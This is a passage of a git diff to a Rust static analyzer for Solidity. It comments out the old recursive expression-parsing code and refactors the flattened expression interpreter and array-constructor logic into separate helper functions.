rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, true) + // } + // BitwiseNot(loc, lhs_expr) => self.bit_not(arena, *loc, lhs_expr, ctx), - // assign - Assign(loc, lhs_expr, rhs_expr) => { - self.assign_exprs(arena, *loc, lhs_expr, rhs_expr, ctx) - } - List(loc, params) => self.list(arena, ctx, *loc, params), - // array - ArraySubscript(_loc, ty_expr, None) => self.array_ty(arena, ty_expr, ctx), - ArraySubscript(loc, ty_expr, Some(index_expr)) => { - self.index_into_array(arena, *loc, ty_expr, index_expr, ctx) - } - ArraySlice(loc, _lhs_expr, _maybe_middle_expr, _maybe_rhs) => Err(ExprErr::Todo( - *loc, - "Array slicing not currently supported".to_string(), - )), - ArrayLiteral(loc, _) => Err(ExprErr::Todo( - *loc, - "Array literal not currently supported".to_string(), - )), + // // assign + // Assign(loc, lhs_expr, rhs_expr) => { + // self.assign_exprs(arena, *loc, lhs_expr, rhs_expr, ctx) + // } + // List(loc, params) => self.list(arena, ctx, *loc, params), + // // array + // ArraySubscript(_loc, ty_expr, None) => self.array_ty(arena, ty_expr, ctx), + // ArraySubscript(loc, ty_expr, Some(index_expr)) => { + // self.index_into_array(arena, *loc, ty_expr, index_expr, ctx) + // } + // ArraySlice(loc, _lhs_expr, _maybe_middle_expr, _maybe_rhs) => Err(ExprErr::Todo( + // *loc, + // "Array slicing not currently supported".to_string(), + // )), + // ArrayLiteral(loc, _) => Err(ExprErr::Todo( + // *loc, + // "Array literal not currently supported".to_string(), + // )), - // Comparator - Equal(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Eq, rhs, ctx), - NotEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Neq, rhs, ctx), - Less(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lt, rhs, ctx), - More(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gt, rhs, ctx), - LessEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lte, rhs, ctx), - MoreEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gte, rhs, ctx), + // // Comparator + // Equal(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Eq, rhs, ctx), + // NotEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Neq, rhs, ctx), + // Less(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lt, rhs, ctx), + // More(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gt, rhs, ctx), + // LessEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lte, rhs, ctx), + // MoreEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gte, rhs, ctx), - // Logical - Not(loc, expr) => self.not(arena, *loc, expr, ctx), - And(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::And, rhs, ctx), - Or(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Or, rhs, ctx), + // // Logical + // Not(loc, expr) => self.not(arena, *loc, expr, ctx), + // And(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::And, rhs, ctx), + // Or(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Or, rhs, ctx), - // Function calls - FunctionCallBlock(loc, _func_expr, _input_exprs) => { - // TODO: update msg node - Err(ExprErr::Todo( - *loc, - "Function call block is unsupported. We shouldn't have hit this code path" - .to_string(), - )) - } - NamedFunctionCall(loc, func_expr, input_args) => { - self.named_fn_call_expr(arena, ctx, loc, func_expr, input_args) - } - FunctionCall(loc, func_expr, input_exprs) => { - let updated_func_expr = match **func_expr { - FunctionCallBlock(_loc, ref inner_func_expr, ref _call_block) => { - // we dont currently handle the `{value: .. gas: ..}` msg updating - // println!("call block: {call_block:#?}"); + // // Function calls + // FunctionCallBlock(loc, _func_expr, _input_exprs) => { + // // TODO: update msg node + // Err(ExprErr::Todo( + // *loc, + // "Function call block is unsupported. We shouldn't have hit this code path" + // .to_string(), + // )) + // } + // NamedFunctionCall(loc, func_expr, input_args) => { + // self.named_fn_call_expr(arena, ctx, loc, func_expr, input_args) + // } + // FunctionCall(loc, func_expr, input_exprs) => { + // let updated_func_expr = match **func_expr { + // FunctionCallBlock(_loc, ref inner_func_expr, ref _call_block) => { + // // we dont currently handle the `{value: .. gas: ..}` msg updating + // // println!("call block: {call_block:#?}"); - // let mut tmp_msg = Msg { + // // let mut tmp_msg = Msg { - // } - // self.add_expr_err(ExprErr::FunctionCallBlockTodo(call_block.loc(), "Function call block is currently unsupported. Relevant changes on `msg` will not take effect".to_string())); - inner_func_expr.clone() - } - _ => func_expr.clone(), - }; + // // } + // // self.add_expr_err(ExprErr::FunctionCallBlockTodo(call_block.loc(), "Function call block is currently unsupported. Relevant changes on `msg` will not take effect".to_string())); + // inner_func_expr.clone() + // } + // _ => func_expr.clone(), + // }; - self.fn_call_expr(arena, ctx, loc, &updated_func_expr, input_exprs) - } - // member - New(loc, expr) => { - match &**expr { - Expression::FunctionCall(_loc, func, inputs) => { - // parse the type - self.new_call(arena, loc, func, inputs, ctx) - } - _ => panic!("Bad new call"), - } - } - This(loc) => { - let var = ContextVar::new_from_contract( - *loc, - ctx.associated_contract(self).into_expr_err(*loc)?, - self, - ) - .into_expr_err(*loc)?; - let cvar = self.add_node(Node::ContextVar(var)); - ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; - self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - ctx.push_expr(ExprRet::Single(cvar), self) - .into_expr_err(*loc)?; - Ok(()) - } - MemberAccess(loc, member_expr, ident) => { - self.member_access(arena, *loc, member_expr, ident, ctx) - } + // self.fn_call_expr(arena, ctx, loc, &updated_func_expr, input_exprs) + // } + // // member + // New(loc, expr) => { + // match &**expr { + // Expression::FunctionCall(_loc, func, inputs) => { + // // parse the type + // self.new_call(arena, loc, func, inputs, ctx) + // } + // _ => panic!("Bad new call"), + // } + // } + // This(loc) => { + // let var = ContextVar::new_from_contract( + // *loc, + // ctx.associated_contract(self).into_expr_err(*loc)?, + // self, + // ) + // .into_expr_err(*loc)?; + // let cvar = self.add_node(Node::ContextVar(var)); + // ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; + // self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + // ctx.push_expr(ExprRet::Single(cvar), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // MemberAccess(loc, member_expr, ident) => { + // self.member_access(arena, *loc, member_expr, ident, ctx) + // } - Delete(loc, expr) => { - fn delete_match( - ctx: ContextNode, - loc: &Loc, - analyzer: &mut impl AnalyzerBackend, - ret: ExprRet, - ) { - match ret { - ExprRet::CtxKilled(kind) => { - let _ = ctx.kill(analyzer, *loc, kind); - } - ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { - let mut new_var = - analyzer.advance_var_in_ctx(cvar.into(), *loc, ctx).unwrap(); - let res = new_var.sol_delete_range(analyzer).into_expr_err(*loc); - let _ = analyzer.add_if_err(res); - } - ExprRet::Multi(inner) => { - inner - .iter() - .for_each(|i| delete_match(ctx, loc, analyzer, i.clone())); - } - ExprRet::Null => {} - } - } + // Delete(loc, expr) => { + // fn delete_match( + // ctx: ContextNode, + // loc: &Loc, + // analyzer: &mut impl AnalyzerBackend, + // ret: ExprRet, + // ) { + // match ret { + // ExprRet::CtxKilled(kind) => { + // let _ = ctx.kill(analyzer, *loc, kind); + // } + // ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { + // let mut new_var = + // analyzer.advance_var_in_ctx(cvar.into(), *loc, ctx).unwrap(); + // let res = new_var.sol_delete_range(analyzer).into_expr_err(*loc); + // let _ = analyzer.add_if_err(res); + // } + // ExprRet::Multi(inner) => { + // inner + // .iter() + // .for_each(|i| delete_match(ctx, loc, analyzer, i.clone())); + // } + // ExprRet::Null => {} + // } + // } - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - tracing::trace!("Delete variable pop"); - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Delete operation had no right hand side".to_string(), - )); - }; + // self.parse_ctx_expr(arena, expr, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // tracing::trace!("Delete variable pop"); + // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoRhs( + // loc, + // "Delete operation had no right hand side".to_string(), + // )); + // }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - delete_match(ctx, &loc, analyzer, ret); - Ok(()) - }) - } + // delete_match(ctx, &loc, analyzer, ret); + // Ok(()) + // }) + // } - // de/increment stuff - PreIncrement(loc, expr) => self.pre_increment(arena, expr, *loc, ctx), - PostIncrement(loc, expr) => self.post_increment(arena, expr, *loc, ctx), - PreDecrement(loc, expr) => self.pre_decrement(arena, expr, *loc, ctx), - PostDecrement(loc, expr) => self.post_decrement(arena, expr, *loc, ctx), + // // de/increment stuff + // PreIncrement(loc, expr) => self.pre_increment(arena, expr, *loc, ctx), + // PostIncrement(loc, expr) => self.post_increment(arena, expr, *loc, ctx), + // PreDecrement(loc, expr) => self.pre_decrement(arena, expr, *loc, ctx), + // PostDecrement(loc, expr) => self.post_decrement(arena, expr, *loc, ctx), - // Misc. - Variable(ident) => self.variable(arena, ident, ctx, None, None), - Type(loc, ty) => { - if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { - if let Some(idx) = self.builtins().get(&builtin) { - ctx.push_expr(ExprRet::Single(*idx), self) - .into_expr_err(*loc)?; - Ok(()) - } else { - let idx = self.add_node(Node::Builtin(builtin.clone())); - self.builtins_mut().insert(builtin, idx); - ctx.push_expr(ExprRet::Single(idx), self) - .into_expr_err(*loc)?; - Ok(()) - } - } else { - ctx.push_expr(ExprRet::Null, self).into_expr_err(*loc)?; - Ok(()) - } - } - Parenthesis(_loc, expr) => self.parse_ctx_expr(arena, expr, ctx), - } + // // Misc. + // Variable(ident) => self.variable(arena, ident, ctx, None, None), + // Type(loc, ty) => { + // if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { + // if let Some(idx) = self.builtins().get(&builtin) { + // ctx.push_expr(ExprRet::Single(*idx), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } else { + // let idx = self.add_node(Node::Builtin(builtin.clone())); + // self.builtins_mut().insert(builtin, idx); + // ctx.push_expr(ExprRet::Single(idx), self) + // .into_expr_err(*loc)?; + // Ok(()) + // } + // } else { + // ctx.push_expr(ExprRet::Null, self).into_expr_err(*loc)?; + // Ok(()) + // } + // } + // Parenthesis(_loc, expr) => self.parse_ctx_expr(arena, expr, ctx), + // } } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 5abf12c7..fd965b04 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1,10 +1,13 @@ use crate::{ context_builder::ContextBuilder, - func_call::{func_caller::FuncCaller, internal_call::InternalFuncCaller}, + func_call::{ + func_caller::FuncCaller, internal_call::InternalFuncCaller, + intrinsic_call::IntrinsicFuncCaller, + }, ExprTyParser, }; use graph::{ - elem::Elem, + elem::{Elem, RangeOp}, nodes::{ Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, }, @@ -135,7 +138,6 @@ pub trait Flatten: | Not(_loc, expr) | Delete(_loc, expr) | Parenthesis(_loc, expr) - | New(_loc, expr) | PreIncrement(_loc, expr) | PostIncrement(_loc, expr) | PreDecrement(_loc, expr) @@ -144,6 +146,25 @@ pub trait Flatten: self.push_expr(FlatExpr::from(parent_expr)); } + New(new_loc, expr) => { + match &**expr { + FunctionCall(func_loc, func_expr, input_exprs) => { + input_exprs.iter().rev().for_each(|expr| { + self.traverse_expression(expr); + }); + + self.traverse_expression(func_expr); + self.push_expr(FlatExpr::New(*new_loc)); + self.push_expr(FlatExpr::FunctionCall(*func_loc, input_exprs.len())); + } + NamedFunctionCall(loc, func_expr, input_args) => { + todo!(); + } + _ => { + // add error + } + } + } // Binary ops Power(_, lhs, rhs) | Add(_, lhs, rhs) @@ -248,9 +269,9 @@ pub trait Flatten: body_loc: Loc, arena: &mut RangeArena>, ) { - use FlatExpr::*; let stack = std::mem::take(self.expr_stack_mut()); + tracing::trace!("stack: {stack:#?}"); let raw_ctx = Context::new( func, self.add_if_err(func.name(self).into_expr_err(body_loc)) @@ -271,136 +292,313 @@ pub trait Flatten: &|analyzer: &mut Self, arena: &mut RangeArena>, ctx: ContextNode, - loc: Loc| match next { - VarDef(loc, maybe_name, maybe_storage, inited) => { - let lhs_ty; - let mut rhs = None; - - if inited { - let res = ctx - .pop_n_latest_exprs(2, loc, analyzer) - .into_expr_err(loc)?; - let [lhs_res, rhs_res] = into_sized::(res); - lhs_ty = Some(lhs_res); - rhs = Some(rhs_res); - } else { - let res = ctx - .pop_n_latest_exprs(1, loc, analyzer) - .into_expr_err(loc)?; - let [lhs_res] = into_sized::(res); - lhs_ty = Some(lhs_res); - } - if let Some(lhs_ty) = lhs_ty { - let _ = analyzer.match_var_def( - arena, - ctx, - (maybe_name, maybe_storage), - loc, - &lhs_ty, - rhs.as_ref(), - )?; - Ok(()) - } else { - Ok(()) - } - } - Type(loc, ty) => { - if let Some(builtin) = Builtin::try_from_ty(ty.clone(), analyzer, arena) { - if let Some(idx) = analyzer.builtins().get(&builtin) { - ctx.push_expr(ExprRet::Single(*idx), analyzer) - .into_expr_err(loc) - } else { - let idx = analyzer.add_node(Node::Builtin(builtin.clone())); - analyzer.builtins_mut().insert(builtin, idx); - ctx.push_expr(ExprRet::Single(idx), analyzer) - .into_expr_err(loc) - } - } else { - ctx.push_expr(ExprRet::Null, analyzer).into_expr_err(loc) - } - } - Return(loc, nonempty) => Ok(()), - Variable(loc, name) => { - if let Some(ExprFlag::FunctionName(n)) = analyzer.take_expr_flag() { - let maybe_fn = analyzer - .find_func(arena, ctx, name.to_string(), n) - .into_expr_err(loc)?; - if let Some(fn_node) = maybe_fn { - let as_var = - ContextVar::maybe_from_user_ty(analyzer, loc, fn_node.into()) - .unwrap(); - let fn_var = ContextVarNode::from(analyzer.add_node(as_var)); - ctx.add_var(fn_var, analyzer).into_expr_err(loc)?; - analyzer.add_edge( - fn_var, - ctx, - Edge::Context(ContextEdge::Variable), - ); - ctx.push_expr(ExprRet::Single(fn_var.into()), analyzer) - .into_expr_err(loc) - } else { - Ok(()) - } - } else { - analyzer.variable( - arena, - &solang_parser::pt::Identifier { - loc, - name: name.to_string(), - }, - ctx, - None, - None, - ) - } - } - Assign(loc) => { - let res = ctx - .pop_n_latest_exprs(2, loc, analyzer) - .into_expr_err(loc)?; - let [lhs, rhs] = into_sized(res); - analyzer.match_assign_sides(arena, ctx, loc, &lhs, &rhs) - } - BoolLiteral(loc, b) => analyzer.bool_literal(ctx, loc, b), - FunctionCallName(n) => { - analyzer.set_expr_flag(ExprFlag::FunctionName(n)); - Ok(()) - } - FunctionCall(loc, n) => { - let func_and_inputs = ctx - .pop_n_latest_exprs(n + 1, loc, analyzer) - .into_expr_err(loc)?; - - let func = ContextVarNode::from( - func_and_inputs - .first() - .unwrap() - .expect_single() - .into_expr_err(loc)?, - ); - let inputs = ExprRet::Multi(if n > 0 { - func_and_inputs[1..].to_vec() - } else { - vec![] - }); - - let ty = func.ty(analyzer).into_expr_err(loc)?; - if let Some(func_node) = ty.func_node(analyzer) { - analyzer.func_call(arena, ctx, loc, &inputs, func_node, None, None) - } else { - Ok(()) - } - } - other => { - tracing::trace!("unhandled: {other:?}"); - Ok(()) - } - }, + _: Loc| analyzer.interpret_expr(arena, ctx, next), ); self.add_if_err(res); } } + + fn interpret_expr( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + ) -> Result<(), ExprErr> { + use FlatExpr::*; + tracing::trace!("parsing {:?} in context {}", next, ctx.path(self)); + match next { + // Flag expressions + FunctionCallName(n) => { + self.set_expr_flag(ExprFlag::FunctionName(n)); + Ok(()) + } + Negate(_) => { + self.set_expr_flag(ExprFlag::Negate); + Ok(()) + } + New(_) => { + self.set_expr_flag(ExprFlag::New); + Ok(()) + } + + // Literals + AddressLiteral(loc, lit) => self.address_literal(ctx, loc, lit), + StringLiteral(loc, lit) => self.string_literal(ctx, loc, lit), + BoolLiteral(loc, b) => self.bool_literal(ctx, loc, b), + HexLiteral(loc, hex) => self.hex_literals(ctx, loc, hex), + NumberLiteral(..) | HexNumberLiteral(..) | RationalNumberLiteral(..) => { + self.interp_negatable_literal(arena, ctx, next) + } + + VarDef(..) => self.interp_var_def(arena, ctx, next), + Type(..) => self.interp_type(arena, ctx, next), + Return(..) => self.interp_return(arena, ctx, next), + Variable(..) => self.interp_var(arena, ctx, next), + Assign(..) => self.interp_assign(arena, ctx, next), + ArrayTy(..) => self.interp_array_ty(arena, ctx, next), + + FunctionCall(..) => self.interp_func_call(arena, ctx, next), + + // Comparator + Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) + | MoreEqual(loc) => self.interp_cmp(arena, ctx, loc, next), + + If(..) => Ok(()), + IfElse(..) => Ok(()), + other => { + tracing::trace!("unhandled: {other:?}"); + Ok(()) + } + } + } + + fn interp_cmp( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + loc: Loc, + cmp: FlatExpr, + ) -> Result<(), ExprErr> { + let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let [lhs, rhs] = into_sized::(res); + + match cmp { + FlatExpr::Equal(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Eq, &rhs), + FlatExpr::NotEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Neq, &rhs), + FlatExpr::Less(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lt, &rhs), + FlatExpr::More(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gt, &rhs), + FlatExpr::LessEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lte, &rhs), + FlatExpr::MoreEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gte, &rhs), + _ => unreachable!(), + } + } + + fn interp_var_def( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + var_def: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::VarDef(loc, maybe_name, maybe_storage, inited) = var_def else { + unreachable!() + }; + + let lhs_ty; + let mut rhs = None; + + if inited { + let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let [lhs_res, rhs_res] = into_sized::(res); + lhs_ty = Some(lhs_res); + rhs = Some(rhs_res); + } else { + let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let [lhs_res] = into_sized::(res); + lhs_ty = Some(lhs_res); + } + if let Some(lhs_ty) = lhs_ty { + let _ = self.match_var_def( + arena, + ctx, + (maybe_name, maybe_storage), + loc, + &lhs_ty, + rhs.as_ref(), + )?; + Ok(()) + } else { + Err(ExprErr::NoLhs( + loc, + "Variable defintion had no left hand side".to_string(), + )) + } + } + + fn interp_type( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + ty: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Type(loc, ty) = ty else { + unreachable!() + }; + + if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { + if let Some(idx) = self.builtins().get(&builtin) { + ctx.push_expr(ExprRet::Single(*idx), self) + .into_expr_err(loc) + } else { + let idx = self.add_node(Node::Builtin(builtin.clone())); + self.builtins_mut().insert(builtin, idx); + ctx.push_expr(ExprRet::Single(idx), self).into_expr_err(loc) + } + } else { + ctx.push_expr(ExprRet::Null, self).into_expr_err(loc) + } + } + + fn interp_return( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + ret: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Return(loc, nonempty) = ret else { + unreachable!() + }; + if !nonempty { + let ret = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + self.return_match(arena, ctx, &loc, ret.first().unwrap(), 0); + Ok(()) + } else { + ctx.propogate_end(self).into_expr_err(loc) + } + } + + fn interp_var( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + var: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Variable(loc, name) = var else { + unreachable!() + }; + + if let Some(ExprFlag::FunctionName(n)) = self.take_expr_flag() { + let maybe_fn = self + .find_func(arena, ctx, name.to_string(), n) + .into_expr_err(loc)?; + if let Some(fn_node) = maybe_fn { + let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); + let fn_var = ContextVarNode::from(self.add_node(as_var)); + ctx.add_var(fn_var, self).into_expr_err(loc)?; + self.add_edge(fn_var, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(fn_var.into()), self) + .into_expr_err(loc) + } else { + Ok(()) + } + } else { + self.variable( + arena, + &solang_parser::pt::Identifier { + loc, + name: name.to_string(), + }, + ctx, + None, + None, + ) + } + } + + fn interp_assign( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + assign: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Assign(loc) = assign else { + unreachable!() + }; + + let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; + let [lhs, rhs] = into_sized(res); + self.match_assign_sides(arena, ctx, loc, &lhs, &rhs) + } + + fn interp_array_ty( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + arr_ty: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::ArrayTy(loc) = arr_ty else { + unreachable!() + }; + let res = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + let [arr_ty] = into_sized(res); + self.match_ty(ctx, loc, arr_ty) + } + + fn interp_func_call( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + func_call: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::FunctionCall(loc, n) = func_call else { + unreachable!() + }; + + let func_and_inputs = ctx + .pop_n_latest_exprs(n + 1, loc, self) + .into_expr_err(loc)?; + + let inputs = ExprRet::Multi(if n > 0 { + func_and_inputs[1..].to_vec() + } else { + vec![] + }); + + match self.take_expr_flag() { + Some(ExprFlag::New) => { + let ty = func_and_inputs + .first() + .unwrap() + .expect_single() + .into_expr_err(loc)?; + return self.new_call_inner(arena, loc, ty, inputs, ctx); + } + Some(other) => self.set_expr_flag(other), + _ => {} + } + + let func = ContextVarNode::from( + func_and_inputs + .first() + .unwrap() + .expect_single() + .into_expr_err(loc)?, + ); + + let ty = func.ty(self).into_expr_err(loc)?; + if let Some(func_node) = ty.func_node(self) { + self.func_call(arena, ctx, loc, &inputs, func_node, None, None) + } else { + Ok(()) + } + } + + fn interp_negatable_literal( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + lit: FlatExpr, + ) -> Result<(), ExprErr> { + let mut negate = false; + match self.take_expr_flag() { + Some(ExprFlag::Negate) => { + negate = true; + } + Some(other) => self.set_expr_flag(other), + _ => {} + }; + + match lit { + FlatExpr::NumberLiteral(loc, int, exp, unit) => { + self.number_literal(ctx, loc, int, exp, negate, unit) + } + FlatExpr::HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, loc, b, negate), + FlatExpr::RationalNumberLiteral(loc, integer, fraction, exp, unit) => { + self.rational_number_literal(arena, ctx, loc, integer, fraction, exp, unit, negate) + } + _ => unreachable!(), + } + } } fn into_sized(v: Vec) -> [T; N] { diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index bccb7f43..4c99ca52 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -156,11 +156,11 @@ pub trait ContextBuilder: ) -> Result<(), ExprErr>, ) -> Result<(), ExprErr> { let live_edges = ctx.live_edges(self).into_expr_err(loc)?; - tracing::trace!( - "Applying to live edges of: {}. edges: {:#?}", - ctx.path(self), - live_edges.iter().map(|i| i.path(self)).collect::>(), - ); + // tracing::trace!( + // "Applying to live edges of: {}. edges: {:#?}", + // ctx.path(self), + // live_edges.iter().map(|i| i.path(self)).collect::>(), + // ); if !ctx.killed_or_ret(self).into_expr_err(loc)? { if ctx.underlying(self).into_expr_err(loc)?.child.is_some() { if live_edges.is_empty() { diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index 20ae536a..1d5388a7 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -39,75 +39,85 @@ pub trait ConstructorCaller: ctx.push_expr(len_var, analyzer).into_expr_err(loc)?; return Ok(()); } - let len_cvar = len_var.expect_single().into_expr_err(loc)?; - - let ty = VarType::try_from_idx(analyzer, func_idx); - - let new_arr = ContextVar { - loc: Some(loc), - name: format!("tmp_arr{}", ctx.new_tmp(analyzer).into_expr_err(loc)?), - display_name: "arr".to_string(), - storage: None, - is_tmp: true, - is_symbolic: false, - is_return: false, - tmp_of: None, - dep_on: None, - ty: ty.expect("No type for node"), - }; - - let arr = ContextVarNode::from(analyzer.add_node(Node::ContextVar(new_arr))); - - let len_var = ContextVar { - loc: Some(loc), - name: arr.name(analyzer).into_expr_err(loc)? + ".length", - display_name: arr.display_name(analyzer).unwrap() + ".length", - storage: None, - is_tmp: true, - tmp_of: None, - dep_on: None, - is_symbolic: true, - is_return: false, - ty: ContextVarNode::from(len_cvar) - .underlying(analyzer) - .into_expr_err(loc)? - .ty - .clone(), - }; + analyzer.construct_array_inner(arena, func_idx, len_var, loc, ctx) + }) + } - let len_cvar = analyzer.add_node(Node::ContextVar(len_var)); - analyzer.add_edge(arr, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(arr, analyzer).into_expr_err(loc)?; - analyzer.add_edge(len_cvar, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(len_cvar.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge( - len_cvar, - arr, - Edge::Context(ContextEdge::AttrAccess("length")), - ); - - // update the length - if let Some(r) = arr.ref_range(analyzer).into_expr_err(loc)? { - let min = r.evaled_range_min(analyzer, arena).into_expr_err(loc)?; - let max = r.evaled_range_max(analyzer, arena).into_expr_err(loc)?; - - if let Some(mut rd) = min.maybe_range_dyn() { - rd.len = Box::new(Elem::from(len_cvar)); - arr.set_range_min(analyzer, arena, Elem::ConcreteDyn(rd)) - .into_expr_err(loc)?; - } + fn construct_array_inner( + &mut self, + arena: &mut RangeArena>, + func_idx: NodeIdx, + len_var: ExprRet, + loc: Loc, + ctx: ContextNode, + ) -> Result<(), ExprErr> { + let len_cvar = len_var.expect_single().into_expr_err(loc)?; + + let ty = VarType::try_from_idx(self, func_idx); + + let new_arr = ContextVar { + loc: Some(loc), + name: format!("tmp_arr{}", ctx.new_tmp(self).into_expr_err(loc)?), + display_name: "arr".to_string(), + storage: None, + is_tmp: true, + is_symbolic: false, + is_return: false, + tmp_of: None, + dep_on: None, + ty: ty.expect("No type for node"), + }; + + let arr = ContextVarNode::from(self.add_node(Node::ContextVar(new_arr))); + + let len_var = ContextVar { + loc: Some(loc), + name: arr.name(self).into_expr_err(loc)? + ".length", + display_name: arr.display_name(self).unwrap() + ".length", + storage: None, + is_tmp: true, + tmp_of: None, + dep_on: None, + is_symbolic: true, + is_return: false, + ty: ContextVarNode::from(len_cvar) + .underlying(self) + .into_expr_err(loc)? + .ty + .clone(), + }; + + let len_cvar = self.add_node(Node::ContextVar(len_var)); + self.add_edge(arr, ctx, Edge::Context(ContextEdge::Variable)); + ctx.add_var(arr, self).into_expr_err(loc)?; + self.add_edge(len_cvar, ctx, Edge::Context(ContextEdge::Variable)); + ctx.add_var(len_cvar.into(), self).into_expr_err(loc)?; + self.add_edge( + len_cvar, + arr, + Edge::Context(ContextEdge::AttrAccess("length")), + ); + + // update the length + if let Some(r) = arr.ref_range(self).into_expr_err(loc)? { + let min = r.evaled_range_min(self, arena).into_expr_err(loc)?; + let max = r.evaled_range_max(self, arena).into_expr_err(loc)?; + + if let Some(mut rd) = min.maybe_range_dyn() { + rd.len = Box::new(Elem::from(len_cvar)); + arr.set_range_min(self, arena, Elem::ConcreteDyn(rd)) + .into_expr_err(loc)?; + } - if let Some(mut rd) = max.maybe_range_dyn() { - rd.len = Box::new(Elem::from(len_cvar)); - arr.set_range_min(analyzer, arena, Elem::ConcreteDyn(rd)) - .into_expr_err(loc)?; - } + if let Some(mut rd) = max.maybe_range_dyn() { + rd.len = Box::new(Elem::from(len_cvar)); + arr.set_range_min(self, arena, Elem::ConcreteDyn(rd)) + .into_expr_err(loc)?; } + } - ctx.push_expr(ExprRet::Single(arr.into()), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + ctx.push_expr(ExprRet::Single(arr.into()), self) + .into_expr_err(loc) } /// Construct a contract diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs 